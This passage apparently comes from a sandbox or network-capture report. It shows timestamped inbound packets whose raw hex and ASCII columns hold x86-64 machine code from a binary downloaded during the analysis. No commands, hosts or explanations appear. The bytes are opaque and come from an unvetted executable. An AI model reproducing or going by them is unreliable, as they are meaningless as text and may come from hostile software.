75 90 49 89 44 24 10 eb 8c 66 0f 1f Data Ascii: ~uHcH [1H [AWAVAUATUWVSHxiIIDM~IcHcLH9MM9t$ID$<IID$ IHcLIL.)IIUID$HID$~oIct$HMt$ HH)H9OHuHt\HMuID$f
2023-01-25 20:04:35 UTC	3580	IN	Data Raw: 74 a3 48 89 43 08 31 c0 48 89 73 10 48 83 c4 20 5b 5e 41 5c c3 48 8b 4b 08 e8 37 0f fc ff eb 97 0f 1f 44 00 00 56 53 48 83 ec 28 48 8b 41 18 48 89 cb 89 d6 48 3b 41 10 73 1b 48 8b 53 08 48 8d 48 01 48 89 4b 18 40 88 34 02 48 83 c4 28 5b 5e c3 0f 1f 40 00 ba 01 00 00 00 e8 c6 fe ff ff 85 c0 75 e7 48 8b 43 18 eb d1 66 66 2e 0f 1f 84 00 00 00 00 00 90 57 56 53 48 83 ec 30 89 d7 48 8b 51 10 48 89 cb 66 83 7a 14 00 0f 89 85 00 00 00 48 8b 72 08 48 85 f6 0f 84 90 00 00 00 ba 7d 00 00 00 48 89 f1 e8 7b ff ff ff 0f b6 46 21 84 c0 75 53 4c 8b 46 18 48 8b 56 08 85 ff 0f 84 93 00 00 00 80 7e 20 00 48 c7 c1 ff ff ff ff 48 8d 05 81 0e fc ff 41 b9 01 00 00 00 48 0f 45 c1 48 89 d9 48 89 44 24 20 e8 7a fa fe ff c6 46 20 01 48 8b 03 66 81 48 14 00 08 c6 40 17 4a 48 83 c4 Data Ascii: tHC1HsH [^A\HK7DVSH(HAHH;AsHSHHHK@4H([^@uHCff.WVSH0HQHfzHrH}H{F!uSLFHV~ HHAHEHHD$ zF HfH@JH
2023-01-25 20:04:35 UTC	3596	IN	Data Raw: 00 48 89 07 e9 7c ff ff ff 0f 1f 40 00 b8 0b 01 00 00 eb c1 90 41 55 41 54 48 83 ec 28 49 89 cc 49 89 d5 e8 1d 70 ff ff 85 c0 75 19 4c 89 ea 4c 89 e1 e8 0e 7a fc ff 48 85 c0 74 09 48 83 c4 28 41 5c 41 5d c3 4c 89 e1 e8 08 cf fb ff 31 c0 48 83 c4 28 41 5c 41 5d c3 66 66 2e 0f 1f 84 00 00 00 00 00 66 90 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 38 4c 8d 2d d9 61 3d 00 48 8b 79 08 48 63 41 10 4c 8b 21 4c 89 84 24 90 00 00 00 4c 63 41 14 48 89 cd 48 89 94 24 88 00 00 00 4e 8d 3c 07 48 01 c7 4c 89 8c 24 98 00 00 00 49 39 ff 73 2d 0f 1f 00 41 0f b6 1f 49 8d 77 01 81 fb bf 00 00 00 77 30 89 da 4c 89 e1 e8 26 62 fc ff 85 c0 0f 85 a0 00 00 00 49 89 f7 49 39 ff 72 d6 b8 65 00 00 00 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d 41 5e 41 5f c3 8d 83 40 ff ff ff 41 0f b6 5c Data Ascii: H\|@AUATH(IIpuLLzHtH(A\A]L1H(A\A]ff.fAWAVAUATUWVSH8L-a=HyHcAL!L$LcAHH$N<HL$I9s-AIww0L&bII9reH8[^_]A\A]A^A_@A\
2023-01-25 20:04:35 UTC	3612	IN	Data Raw: 74 0d 48 8b 8c 24 90 00 00 00 e8 26 47 fc ff 49 c7 46 18 00 00 00 00 e9 06 fe ff ff 41 c7 46 2c 00 00 00 00 e9 2b e5 ff ff 48 8d 3d f5 02 3d 00 48 8d 05 fe 02 3d 00 48 ba 59 00 00 00 5a 00 00 00 c7 84 24 d0 00 00 00 55 00 00 00 48 89 bc 24 d8 00 00 00 48 8d 3d bf 02 3d 00 48 89 bc 24 f0 00 00 00 48 8d 3d a3 02 3d 00 48 89 bc 24 08 01 00 00 48 bf 5c 00 00 00 55 00 00 00 48 89 bc 24 10 01 00 00 48 8d 3d 72 02 3d 00 48 89 bc 24 20 01 00 00 48 bf 5c 00 00 00 56 00 00 00 48 89 bc 24 28 01 00 00 48 8d 3d 44 02 3d 00 48 89 bc 24 38 01 00 00 48 bf 4c 00 00 00 55 00 00 00 48 89 bc 24 40 01 00 00 48 8d 3d f0 01 3d 00 48 89 84 24 c0 00 00 00 48 b8 4c 00 00 00 5a 00 00 00 48 89 bc 24 50 01 00 00 48 8d 3d cb 01 3d 00 48 89 84 24 c8 00 00 00 48 89 94 24 e0 00 00 00 48 Data Ascii: tH$&GIFAF,+H==H=HYZ$UH$H==H$H==H$H\UH$H=r=H$ H\VH$(H=D=H$8HLUH$@H==H$HLZH$PH==H$H$H
2023-01-25 20:04:35 UTC	3628	IN	Data Raw: 08 e8 4f 4f fb ff 48 8d 0d 28 05 3c 00 e8 f3 9b ff ff c7 43 20 01 00 00 00 48 89 43 08 b8 01 00 00 00 48 83 c4 28 5b 5e 5f 5d 41 5c 41 5d c3 66 0f 1f 44 00 00 41 55 41 54 53 48 83 ec 70 45 31 c9 4c 8d 05 ad 55 3c 00 48 8d 15 27 05 3c 00 48 c7 44 24 20 00 00 00 00 49 89 cc e8 65 1a fd ff 85 c0 74 11 48 83 c4 70 5b 41 5c 41 5d c3 0f 1f 80 00 00 00 00 e8 cb ef fe ff 85 c0 0f 85 8b 00 00 00 b9 28 00 00 00 e8 49 e8 fb ff 49 89 c5 48 85 c0 74 79 b8 01 01 00 00 49 c7 45 04 00 00 00 00 4c 8d 0d cd 83 3c 00 41 b8 07 00 00 00 66 41 89 45 00 48 8d 15 c4 04 3c 00 4c 89 e9 49 c7 45 0c 00 00 00 00 49 c7 45 18 00 00 00 00 41 c7 45 20 00 00 00 00 e8 ab 26 ff ff 48 85 c0 74 46 b8 07 00 00 00 4c 89 e9 89 44 24 6c e8 b5 5c fb ff 4c 89 e9 e8 5d 4e fb ff 8b 44 24 6c 48 83 c4 Data Ascii: OOH(<C HCH([^_]A\A]fDAUATSHpE1LU<H'<HD$ IetHp[A\A](IIHtyIEL<AfAEH<LIEIEAE &HtFLD$l\L]ND$lH
2023-01-25 20:04:35 UTC	3644	IN	Data Raw: fa ff 85 c0 0f 85 d3 03 00 00 8b 44 24 70 89 43 20 3b 83 bc 00 00 00 0f 86 48 ff ff ff 89 83 bc 00 00 00 e9 3d ff ff ff 48 8b 84 24 80 00 00 00 48 8b 93 c8 00 00 00 4c 29 c8 48 8d 4a 08 48 99 48 f7 f9 89 44 24 6c e9 10 ff ff ff 45 31 c0 4c 8d 4c 24 74 4c 89 ea 48 89 f1 ff 56 38 85 c0 0f 84 67 fe ff ff 0f b6 53 10 41 89 c4 88 53 17 e9 07 fe ff ff 90 45 85 e4 0f b6 6c 24 38 0f 95 c2 21 d5 83 f8 65 0f 84 4a 03 00 00 0f b6 53 10 44 89 e6 41 89 c4 88 53 17 0f 1f 44 00 00 40 84 ed 0f 84 d5 fd ff ff 4c 8b 8b e0 00 00 00 41 89 f0 b9 1b 02 00 00 48 8d 15 45 c6 3b 00 e8 14 2b fd ff e9 b5 fd ff ff 31 ed 48 8d 54 24 78 41 b8 ff ff ff ff 48 89 d9 e8 2a 1b fc ff 41 89 c4 0f b6 43 10 88 43 17 45 85 e4 75 b3 48 8b 03 48 8b bb 18 01 00 00 48 8b 4b 50 8b 40 08 4c 8d 6f 04 Data Ascii: D$pC ;H=H$HL)HJHHD$lE1LL$tLHV8gSASEl$8!eJSDASD@LAHE;+1HT$xAH*ACCEuHHHKP@Lo
2023-01-25 20:04:35 UTC	3660	IN	Data Raw: fc ff 48 8b 44 24 38 48 85 c0 0f 84 bf 00 00 00 48 8b 48 70 41 bc 0b 00 00 00 48 85 c9 74 05 e8 d1 64 fa ff 44 89 e0 48 83 c4 48 5b 5e 5f 5d 41 5c 41 5d c3 90 89 da 4c 89 e9 e8 36 96 fb ff 48 89 44 24 38 48 89 c2 48 85 c0 0f 85 79 ff ff ff 0f 1f 44 00 00 41 89 d8 4c 89 e9 e8 f5 fa ff ff 41 89 c4 48 8b 44 24 38 48 85 c0 74 0e 48 8b 48 70 48 85 c9 74 05 e8 7a 64 fa ff 45 85 e4 75 a4 8b 5c 24 34 85 ed 74 7d c7 44 24 34 00 00 00 00 83 ed 01 48 c7 44 24 38 00 00 00 00 83 fb 01 0f 87 08 ff ff ff 48 8d 05 e5 54 3b 00 41 b9 8f 1f 01 00 48 89 44 24 20 4c 8d 05 33 69 3b 00 48 8d 15 13 69 3b 00 b9 0b 00 00 00 e8 06 eb fc ff 41 bc 0b 00 00 00 44 89 e0 48 83 c4 48 5b 5e 5f 5d 41 5c 41 5d c3 49 89 f9 49 89 f0 89 da 4c 89 e9 e8 40 0f fd ff 41 89 c4 85 c0 0f 84 bf fe ff Data Ascii: HD$8HHHpAHtdDHH[^_]A\A]L6HD$8HHyDALAHD$8HtHHpHtzdEu\$4t}D$4HD$8HT;AHD$ L3i;Hi;ADHH[^_]A\A]IIL@A
2023-01-25 20:04:35 UTC	3676	IN	Data Raw: c1 c7 44 24 20 00 00 00 00 45 89 f0 e8 24 eb ff ff 49 63 d6 31 c9 4c 01 fa 48 c7 02 00 00 00 00 48 c7 42 08 00 00 00 00 66 89 4a 10 80 67 01 fb 85 c0 0f 85 37 01 00 00 45 31 c9 4d 89 e8 4c 89 fa 44 89 f1 e8 3c f4 fc ff 4c 89 f9 89 44 24 44 e8 00 8f fa ff 8b 44 24 44 e9 05 fe ff ff 0f 1f 80 00 00 00 00 48 83 78 20 00 0f 85 55 fd ff ff 48 8b 41 08 49 89 45 10 8b 41 10 41 89 45 18 48 8d 05 1f fd fc ff 48 89 44 24 38 e9 41 fd ff ff 0f b6 43 09 8b 54 02 08 0f ca e9 78 fe ff ff 66 0f 1f 44 00 00 48 8d 05 e5 14 3b 00 41 b9 65 1c 01 00 48 89 44 24 20 4c 8d 05 33 29 3b 00 48 8d 15 13 29 3b 00 b9 0b 00 00 00 e8 06 ab fc ff b8 0b 00 00 00 31 d2 66 89 57 46 e9 73 fe ff ff 66 0f 1f 44 00 00 41 0f b7 52 18 0f b7 47 56 83 ea 01 39 d0 0f 85 92 00 00 00 4c 8b 4c 24 38 4d Data Ascii: D$ E$Ic1LHHBfJg7E1MLD<LD$DD$DHx UHAIEAAEHHD$8ACTxfDH;AeHD$ L3);H);1fWFsfDARGV9LL$8M
2023-01-25 20:04:35 UTC	3692	IN	Data Raw: c3 0f 1f 40 00 c6 43 41 01 85 ff 0f 85 d4 00 00 00 bd 01 00 00 00 48 89 d9 48 8d 54 24 4c e8 c2 12 fe ff 8b 4c 24 4c 41 89 c4 85 c9 0f 85 eb 00 00 00 85 c0 0f 85 dc 01 00 00 8b 53 58 85 d2 0f 84 00 01 00 00 0f b7 53 56 89 d0 81 e2 00 fe 00 00 c1 e0 10 25 00 00 01 00 09 d0 39 84 24 c0 00 00 00 0f 84 dd 00 00 00 41 b9 33 00 01 00 48 8d 05 1c d5 3a 00 4c 8d 05 75 e9 3a 00 b9 0b 00 00 00 48 89 44 24 20 48 8d 15 4b e9 3a 00 be 01 00 00 00 41 bc 0b 00 00 00 e8 38 6b fc ff 8b 44 24 4c 85 c0 0f 84 0a ff ff ff 0f 1f 40 00 48 c7 43 48 00 00 00 00 48 c7 43 50 00 00 00 00 48 c7 43 58 00 00 00 00 48 c7 43 60 00 00 00 00 48 c7 43 68 00 00 00 00 48 c7 43 70 00 00 00 00 e9 d1 fe ff ff 0f 1f 00 c7 44 24 20 01 00 00 00 45 31 c9 48 89 f2 48 89 d9 4c 8b 84 24 b0 00 00 00 e8 Data Ascii: @CAHHT$LL$LASXSV%9$A3H:Lu:HD$ HK:A8kD$L@HCHHCPHCXHC`HChHCpD$ E1HHL$
2023-01-25 20:04:35 UTC	3708	IN	Data Raw: 00 00 48 89 44 24 48 48 8b 84 24 10 01 00 00 8b 50 08 48 8d 84 24 b0 00 00 00 48 89 44 24 20 e8 41 db f9 ff 41 89 c5 85 c0 0f 85 0e 05 00 00 48 c7 44 24 60 00 00 00 00 31 db 31 f6 48 8d 8c 24 a4 00 00 00 48 89 4c 24 58 48 8d 8c 24 a0 00 00 00 4c 8d a4 24 b8 00 00 00 48 89 4c 24 50 48 8d 84 24 9c 00 00 00 48 8d bc 24 98 00 00 00 4c 89 b4 24 80 00 00 00 4c 89 bc 24 88 00 00 00 4d 89 e7 49 89 c4 90 48 8b 44 24 58 89 5c 24 44 4d 89 e1 49 89 f8 c7 84 24 98 00 00 00 00 00 00 00 4c 89 fa 48 8b 8c 24 b0 00 00 00 48 89 44 24 28 48 8b 44 24 50 c7 84 24 9c 00 00 00 00 00 00 00 48 89 44 24 20 48 8b 44 24 48 c7 84 24 a0 00 00 00 00 00 00 00 c7 84 24 a4 00 00 00 00 00 00 00 ff 50 28 89 c5 85 c0 74 5d 48 8b 44 24 48 4c 8b bc 24 88 00 00 00 48 8b 8c 24 b0 00 00 00 ff 50 Data Ascii: HD$HH$PH$HD$ AAHD$`11H$HL$XH$L$HL$PH$H$L$L$MIHD$X\$DMI$LH$HD$(HD$P$HD$ HD$H$$P(t]HD$HL$H$P
2023-01-25 20:04:35 UTC	3724	IN	Data Raw: 41 b8 f8 ff ff ff 4c 89 e2 4c 89 f9 e8 64 a9 fa ff 8b 46 68 45 31 c0 ba 47 00 00 00 c7 44 24 20 00 00 00 00 4c 89 f9 44 8d 48 01 e8 35 6c fb ff 48 8b 76 40 48 85 f6 0f 84 aa 00 00 00 48 8b 46 50 f6 40 05 10 0f 85 3a ff ff ff 48 8b 40 38 48 8d 0d 7f 42 3b 00 48 39 c8 74 6c 48 8d 0d 63 42 3b 00 48 39 c8 74 60 48 8d 0d 4f 42 3b 00 48 39 c8 74 0c 48 8d 15 3f 42 3b 00 48 39 d0 75 b1 44 8b 43 34 41 8d 40 01 89 43 34 44 89 46 64 45 8b 4e 58 c7 44 24 20 00 00 00 00 ba 73 00 00 00 4c 89 f9 e8 be 6b fb ff eb 87 0f 1f 40 00 48 8b 84 24 98 00 00 00 41 8b 4b 10 39 48 10 0f 84 e5 f7 ff ff e9 ba f9 ff ff 8b 43 38 44 8b 43 34 8d 50 01 83 c0 02 89 56 68 41 8d 50 01 89 53 34 44 89 46 64 89 43 38 eb a7 4c 8b a4 24 08 02 00 00 41 0f bf 44 24 02 4c 89 64 24 28 4c 89 ea 48 89 Data Ascii: ALLdFhE1GD$ LDH5lHv@HHFP@:H@8HB;H9tlHcB;H9t`HOB;H9tH?B;H9uDC4A@C4DFdENXD$ sLk@H$AK9HC8DC4PVhAPS4DFdC8L$AD$Ld$(LH
2023-01-25 20:04:35 UTC	3740	IN	Data Raw: 83 6f 34 01 41 bc 05 00 00 00 48 83 bc 24 00 01 00 00 00 c7 44 24 3c ff ff ff ff 0f 85 f6 fd ff ff e9 1a fe ff ff 48 8b 43 20 48 8b 40 20 8b 00 85 c0 0f 8e 08 fe ff ff 4c 8b 84 24 00 01 00 00 8d 48 ff 31 c0 48 89 c2 41 89 04 80 48 83 c0 01 48 39 ca 75 f0 e9 e6 fd ff ff 48 8b 43 20 8b 00 eb ce b8 00 00 00 00 48 0f 45 84 24 f8 00 00 00 48 89 84 24 f8 00 00 00 e9 b8 fc ff ff 44 8b 44 24 3c 4c 89 ea 4c 89 f9 e8 68 f5 ff ff e9 69 fd ff ff 48 8b 56 60 49 8b 0f 48 85 d2 0f 84 db 03 00 00 e8 2e f3 f9 ff 89 44 24 54 8b 5c 24 54 4c 89 f9 89 da e8 ac 57 ff ff 48 8b 06 44 8b 46 28 45 31 c9 89 da 4c 89 f9 48 89 44 24 20 e8 03 54 fb ff 83 7c 24 38 01 0f 84 da 02 00 00 44 8b 4c 24 38 45 85 c9 0f 8e 82 fd ff ff 48 8b 44 24 40 8b 6c 24 38 48 8d 58 08 eb 27 0f 1f 00 41 80 Data Ascii: o4AH$D$<HC H@ L$H1HAHH9uHC HE$H$DD$<LLhiHV`IH.D$T\$TLWHDF(E1LHD$ T\|$8DL$8EHD$@l$8HX'A
2023-01-25 20:04:35 UTC	3756	IN	Data Raw: c3 0f 1f 40 00 44 8b 44 24 3c 41 89 e9 ba 47 00 00 00 4c 89 e9 c7 44 24 20 00 00 00 00 e8 43 ec fa ff 8b 44 24 3c 85 c0 74 7b 0f 88 62 ff ff ff 44 0f b7 4b 02 48 63 d0 83 f8 07 0f 8f 84 00 00 00 83 f8 01 0f 84 c9 00 00 00 48 89 d0 b9 1e 00 00 00 0f 1f 00 48 01 c0 41 89 c8 83 e9 0a 48 83 f8 07 76 f1 4c 8d 15 fa 7c 3a 00 83 e0 07 41 0f b7 04 42 45 8d 44 00 f6 66 45 39 c1 0f 8e 10 ff ff ff b9 1e 00 00 00 66 0f 1f 44 00 00 89 c8 48 01 d2 8d 48 f6 48 83 fa 07 76 f2 83 e2 07 41 0f b7 14 52 eb 5a 41 89 f9 45 31 c0 ba 08 00 00 00 4c 89 e9 c7 44 24 20 00 00 00 00 e8 a5 eb fa ff e9 cd fe ff ff 48 0f bd c2 b9 3c 00 00 00 48 83 f0 3f 29 c1 48 d3 ea 44 8d 04 89 48 8d 0d 83 7c 3a 00 83 e2 07 45 01 c0 0f b7 14 51 41 8d 40 28 46 8d 44 02 1e 66 45 39 c1 0f 8e 93 fe ff ff Data Ascii: @DD$<AGLD$ CD$<t{bDKHcHHAHvL\|:ABEDfE9fDHHHvARZAE1LD$ H<H?)HDH\|:EQA@(FDfE9
2023-01-25 20:04:35 UTC	3772	IN	Data Raw: 89 7c 24 30 4c 8b 6e 20 45 31 e4 bb 39 00 00 00 4c 8b 74 24 40 48 8b bc 24 00 01 00 00 4f 8b 7c 25 08 4d 85 ff 74 14 4c 89 fa 45 31 c9 45 31 c0 4c 89 f1 e8 ed 6c fa ff 49 89 c7 48 8b 56 10 48 85 d2 74 11 45 31 c9 45 31 c0 4c 89 f1 e8 d3 6c fa ff 48 89 c2 44 0f b6 db 48 8b 4c 24 50 49 89 d0 4d 89 f9 44 89 da e8 09 82 fb ff 48 89 c2 48 85 c0 74 11 8b 46 04 83 e0 03 74 09 09 42 04 8b 46 34 89 42 34 41 b8 03 00 00 00 48 89 e9 49 83 c4 20 e8 ce 8c fa ff 48 89 ea 48 89 f9 48 63 d8 41 89 d8 e8 0d f4 ff ff 48 8b 4d 20 48 8b 44 24 48 48 8d 14 dd 00 00 00 00 48 29 da bb 37 00 00 00 48 01 c8 48 8d 14 d1 8b 8c 24 10 01 00 00 89 4a 18 0f b7 48 10 66 89 4a 10 80 40 16 01 49 83 fc 40 0f 85 35 ff ff ff 48 89 c7 0f b6 06 4c 8b 7c 24 30 0f b6 4d 10 8d 50 d3 83 e2 f7 e9 42 Data Ascii: \|$0Ln E19Lt$@H$O\|%MtLE1E1LlIHVHtE1E1LlHDHL$PIMDHHtFtBF4B4AHI HHHcAHM HD$HHH)7HH$JHfJ@I@5HL\|$0MPB
2023-01-25 20:04:35 UTC	3788	IN	Data Raw: 00 48 89 44 24 28 4c 89 6c 24 20 e8 75 3c ff ff 48 8b 54 24 40 48 8b 4c 24 50 89 44 24 48 8b 44 24 7c 89 43 2c e8 0b 87 f9 ff 4c 89 6c 24 40 44 8b 44 24 7c e9 85 fa ff ff 31 ff e9 dc f8 ff ff 48 8b 54 24 40 48 8b 4c 24 50 e8 e6 86 f9 ff c7 44 24 48 05 00 00 00 44 8b 44 24 7c 48 c7 44 24 40 00 00 00 00 e9 70 fa ff ff 48 8b 41 20 8b 00 e9 11 f9 ff ff 4c 8b 69 08 48 c7 41 08 00 00 00 00 48 8b 4c 24 50 e8 aa 86 f9 ff 48 8b 44 24 40 4c 89 68 10 48 8b 40 20 e9 fa fe ff ff 48 c7 44 24 48 00 00 00 00 45 31 ed e9 93 fe ff ff 0f 1f 80 00 00 00 00 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 68 48 8b 41 10 48 8b 7a 60 0f b7 5f 3e 48 89 44 24 38 8b 41 38 48 89 cd 49 89 d5 48 8b 57 20 44 89 84 24 c0 00 00 00 8d 48 01 66 89 5c 24 48 0f b7 db 89 4c 24 54 41 89 cc 0f b7 Data Ascii: HD$(Ll$ u<HT$@HL$PD$HD$\|C,Ll$@DD$\|1HT$@HL$PD$HDD$\|HD$@pHA LiHAHL$PHD$@LhH@ HD$HE1AWAVAUATUWVSHhHAHz`_>HD$8A8HIHW D$Hf\$HL$TA
2023-01-25 20:04:35 UTC	3804	IN	Data Raw: 20 8b b4 24 ac 00 00 00 89 5c 24 78 83 c3 01 48 01 f8 3b 70 1c 74 06 f6 40 15 04 74 d2 4c 8b 20 4d 85 e4 0f 85 0c fe ff ff 48 8b 44 24 70 80 78 67 00 0f 84 20 fe ff ff eb b5 0f 1f 00 41 8b 46 14 8b 74 24 78 48 8b 94 24 d0 00 00 00 83 e8 01 39 f0 b8 ff ff ff ff 0f 45 c6 89 84 24 ec 00 00 00 f6 42 30 80 0f 85 42 02 00 00 8b b4 24 f8 00 00 00 44 8b 84 24 ac 00 00 00 41 b9 ff ff ff ff 4c 89 f9 89 74 24 20 e8 f9 31 ff ff 89 74 24 20 45 31 c9 4c 89 f9 44 8b 84 24 fc 00 00 00 ba 2e 00 00 00 e8 bd 2b fa ff 89 c6 49 8b 07 80 78 67 00 0f 84 14 06 00 00 c7 44 24 20 00 00 00 00 44 8b 8c 24 e8 00 00 00 ba 09 00 00 00 4c 89 f9 44 8b 84 24 e0 00 00 00 e8 89 2b fa ff 85 f6 0f 84 4e fe ff ff 41 8b 87 90 00 00 00 49 8b 0f 8d 50 ff 0f 48 f2 80 79 67 00 48 8d 15 b6 13 41 00 Data Ascii: $\$xH;pt@tL MHD$pxg AFt$xH$9E$B0B$D$ALt$ 1t$ E1LD$.+IxgD$ D$LD$+NAIPHygHA
2023-01-25 20:04:35 UTC	3820	IN	Data Raw: ff 44 8b 54 24 70 45 85 d2 74 0b 44 89 d2 4c 89 f9 e8 5f a8 f8 ff 44 89 64 24 38 45 31 c9 41 89 f8 48 89 da 48 8d 84 24 c0 00 00 00 44 89 74 24 30 4c 89 f9 48 89 44 24 28 48 c7 44 24 20 00 00 00 00 e8 fe 25 ff ff 44 89 f2 48 89 f1 e8 53 e1 f9 ff 44 8b 4c 24 68 41 89 f8 48 89 f1 c7 44 24 20 00 00 00 00 ba 26 00 00 00 e8 f6 eb f9 ff 44 89 e2 48 89 f1 e8 2b e1 f9 ff 45 31 c9 41 89 e8 ba 7a 00 00 00 c7 44 24 20 00 00 00 00 48 89 f1 e8 d0 eb f9 ff 45 31 c9 41 89 f8 ba 7a 00 00 00 48 89 f1 c7 44 24 20 00 00 00 00 e8 b5 eb f9 ff e9 e8 e8 ff ff c7 44 24 68 00 00 00 00 e9 72 f4 ff ff 41 8b 57 38 4c 89 e1 8d 7a 01 44 8d 6a 02 8b 53 0c c7 44 24 20 00 00 00 00 45 89 6f 38 41 89 f9 85 d2 44 8d 42 01 ba 50 00 00 00 89 bc 24 a4 00 00 00 44 0f 44 c0 44 89 ac 24 a8 00 00 Data Ascii: DT$pEtDL_Dd$8E1AHH$Dt$0LHD$(HD$ %DHSDL$hAHD$ &DH+E1AzD$ HE1AzHD$ D$hrAW8LzDjSD$ Eo8ADBP$DDD$
2023-01-25 20:04:35 UTC	3836	IN	Data Raw: 04 49 89 47 38 48 8b 41 08 45 31 c9 48 89 84 24 80 01 00 00 8b 41 10 89 84 24 94 01 00 00 41 f6 c0 10 74 04 44 8b 4b 24 31 c0 f6 41 15 04 74 02 8b 01 48 8b 4b 30 4c 8d b4 24 70 01 00 00 41 81 e0 8a 00 00 00 89 84 24 98 01 00 00 48 c7 84 24 70 01 00 00 00 00 00 00 4c 89 f2 e8 85 92 fd ff c6 43 03 00 89 44 24 30 c7 43 20 00 00 00 00 85 c0 0f 85 bd 44 00 00 48 85 f6 0f 84 25 d6 ff ff 41 0f b7 55 02 4c 8b 84 24 78 01 00 00 49 8b 87 30 01 00 00 4c 8b 0e 83 e2 04 49 8b 8f 28 01 00 00 4c 89 44 24 20 49 89 f8 66 83 fa 01 19 d2 83 e2 fb 83 c2 17 ff d0 e9 e9 d5 ff ff c7 84 24 00 01 00 00 00 00 00 00 49 63 55 08 48 8b 9c 24 30 02 00 00 48 c7 84 24 70 01 00 00 00 00 00 00 48 8d 04 d5 00 00 00 00 48 29 d0 48 8b 53 68 4c 8d 24 c2 66 41 f7 44 24 14 00 90 0f 85 ea 3e 00 Data Ascii: IG8HAE1H$A$AtDK$1AtHK0L$pA$H$pLCD$0C DH%AUL$xI0LI(LD$ If$IcUH$0H$pHH)HShL$fAD$>
2023-01-25 20:04:35 UTC	3852	IN	Data Raw: 00 00 0f 84 db bf ff ff 48 0f be 53 01 49 8b 75 10 48 c1 e2 05 49 03 57 20 48 8b 3a e9 c2 bf ff ff 48 89 d9 e8 5c d4 f7 ff e9 58 b7 ff ff 31 c0 48 83 39 00 0f 95 c0 e9 c5 af ff ff e8 a4 d6 f7 ff 48 89 c1 e9 a6 c8 ff ff 48 89 f1 e8 c4 57 f9 ff 89 44 24 30 85 c0 0f 85 bc 44 00 00 45 0f b7 45 02 e9 5c ec ff ff 83 c0 01 41 89 45 04 48 8b 84 24 30 02 00 00 83 80 ec 00 00 00 01 e9 23 99 ff ff 31 c0 48 83 39 00 0f 95 c0 8d 1c 00 01 c3 e9 11 a3 ff ff 49 83 bf 30 01 00 00 00 0f 84 ed ba ff ff 48 0f be 57 01 49 8b 5d 10 48 c1 e2 05 49 03 57 20 48 8b 32 a8 02 0f 84 d1 ba ff ff 80 7f 04 00 0f 84 c7 ba ff ff 48 89 4c 24 30 e8 02 bf f7 ff 48 8b 4c 24 30 48 8b 41 30 48 8b 4f 30 48 89 47 50 41 0f b7 45 02 e9 a2 ba ff ff 89 c2 48 89 f1 e8 8d f8 f7 ff 48 63 f8 48 8d 04 3e Data Ascii: HSIuHIW H:H\X1H9HHWD$0DEE\AEH$0#1H9I0HWI]HIW H2HL$0HL$0HA0HO0HGPAEHHcH>
2023-01-25 20:04:35 UTC	3868	IN	Data Raw: 0f 84 c7 b4 ff ff 48 8b 84 24 30 02 00 00 8b 7c 24 30 89 78 34 e9 ce 57 ff ff 48 d3 e0 e9 1f bc ff ff 48 89 6c 24 48 4c 89 ed 4c 8b 6c 24 50 89 44 24 30 3c 05 0f 85 fb 6c ff ff 48 89 e8 48 2b 44 24 40 48 8b 74 24 48 48 ba ab aa aa aa aa aa aa aa 48 c1 f8 03 48 8b bc 24 30 02 00 00 48 0f af c2 89 f3 44 89 67 34 89 47 30 e9 7c 54 ff ff 4c 89 e1 ba 01 00 00 00 48 89 6c 24 48 4c 89 ed 4c 8b 6c 24 50 e8 fb b6 f8 ff 48 8b 8c 24 30 02 00 00 48 8d 15 6e 28 38 00 49 89 c0 e8 44 a4 f9 ff e9 90 6c ff ff 48 8b 42 20 e9 1b ee ff ff 48 89 6c 24 48 4c 89 ed 4c 8b 6c 24 50 e9 75 6c ff ff 4c 89 f1 e8 5c 96 f7 ff e9 93 55 ff ff 48 8b 5c 24 30 49 8d 4c 24 60 45 31 c0 48 89 da e8 e2 ac f8 ff 49 89 5c 24 18 85 c0 0f 85 2b e9 ff ff 41 c6 46 02 00 e9 a9 5e ff ff 44 89 f9 48 8b Data Ascii: H$0\|$0x4WHHl$HLLl$PD$0<lHH+D$@Ht$HHHH$0HDg4G0\|TLHl$HLLl$PH$0Hn(8IDlHB Hl$HLLl$PulL\UH\$0IL$`E1HI\$+AF^DH
2023-01-25 20:04:35 UTC	3884	IN	Data Raw: 00 00 0f 1f 00 48 83 7c 24 58 00 0f 84 74 03 00 00 4d 89 e0 ba 3b 00 00 00 4c 89 e9 e8 94 c5 f8 ff 49 89 c1 48 8b 44 24 60 8b 00 83 f8 01 0f 8e 51 02 00 00 48 8b 74 24 40 f6 46 3c 40 74 0c 8b 54 24 48 85 d2 0f 84 6a 03 00 00 4c 8b 44 24 78 ba 3b 00 00 00 4c 89 e9 4c 89 4c 24 68 e8 53 c5 f8 ff 4c 8b 4c 24 68 ba 8d 00 00 00 4c 89 f1 49 89 c0 48 89 c6 e8 fb c1 f9 ff 41 80 be 24 01 00 00 01 49 89 c1 76 15 48 8b 84 24 98 00 00 00 48 8b 50 10 48 85 d2 0f 85 21 02 00 00 4c 8b 84 24 80 00 00 00 4d 85 c0 74 2a ba 3b 00 00 00 4c 89 e9 4c 89 4c 24 68 e8 fa c4 f8 ff 4c 8b 4c 24 68 ba 8d 00 00 00 4c 89 f1 49 89 c0 e8 a5 c1 f9 ff 49 89 c1 4c 89 fa 4d 89 c8 4c 89 f1 e8 d4 e3 f8 ff 49 89 c7 48 85 c0 0f 84 98 03 00 00 8b 00 8d 70 ff 8b 44 24 48 85 c0 74 0e 41 80 be 24 01 Data Ascii: H\|$XtM;LIHD$`QHt$@F<@tT$HjLD$x;LLL$hSLL$hLIHA$IvH$HPH!L$Mt*;LLL$hLL$hLIILMLIHpD$HtA$
2023-01-25 20:04:35 UTC	3900	IN	Data Raw: b6 f6 85 c0 0f 8e b5 04 00 00 0f b6 84 24 b3 00 00 00 48 89 bc 24 98 01 00 00 45 89 d5 48 89 cf 89 44 24 6c e9 9d 00 00 00 0f 1f 40 00 41 8b 44 24 44 44 8d 68 ff 45 89 6c 24 44 4d 85 db 0f 84 81 08 00 00 45 31 c9 45 31 c0 4c 89 da 4c 89 f9 e8 d0 6c f8 ff 41 80 7f 67 00 48 89 c2 0f 84 ba 08 00 00 48 85 d2 74 08 4c 89 f9 e8 c5 c6 f7 ff 83 fe 04 0f 84 7c 08 00 00 83 fe 05 b8 02 00 00 00 4e 8b 4c 37 10 4c 89 e1 0f 44 f0 c7 44 24 28 03 00 00 00 ba 13 01 00 00 c7 44 24 20 00 00 00 00 41 89 f0 e8 3c b5 f8 ff 44 89 ea 48 89 e9 41 bd 01 00 00 00 e8 eb a0 f8 ff 48 83 c3 01 39 1f 0f 8e ee 03 00 00 49 89 de 49 c1 e6 05 48 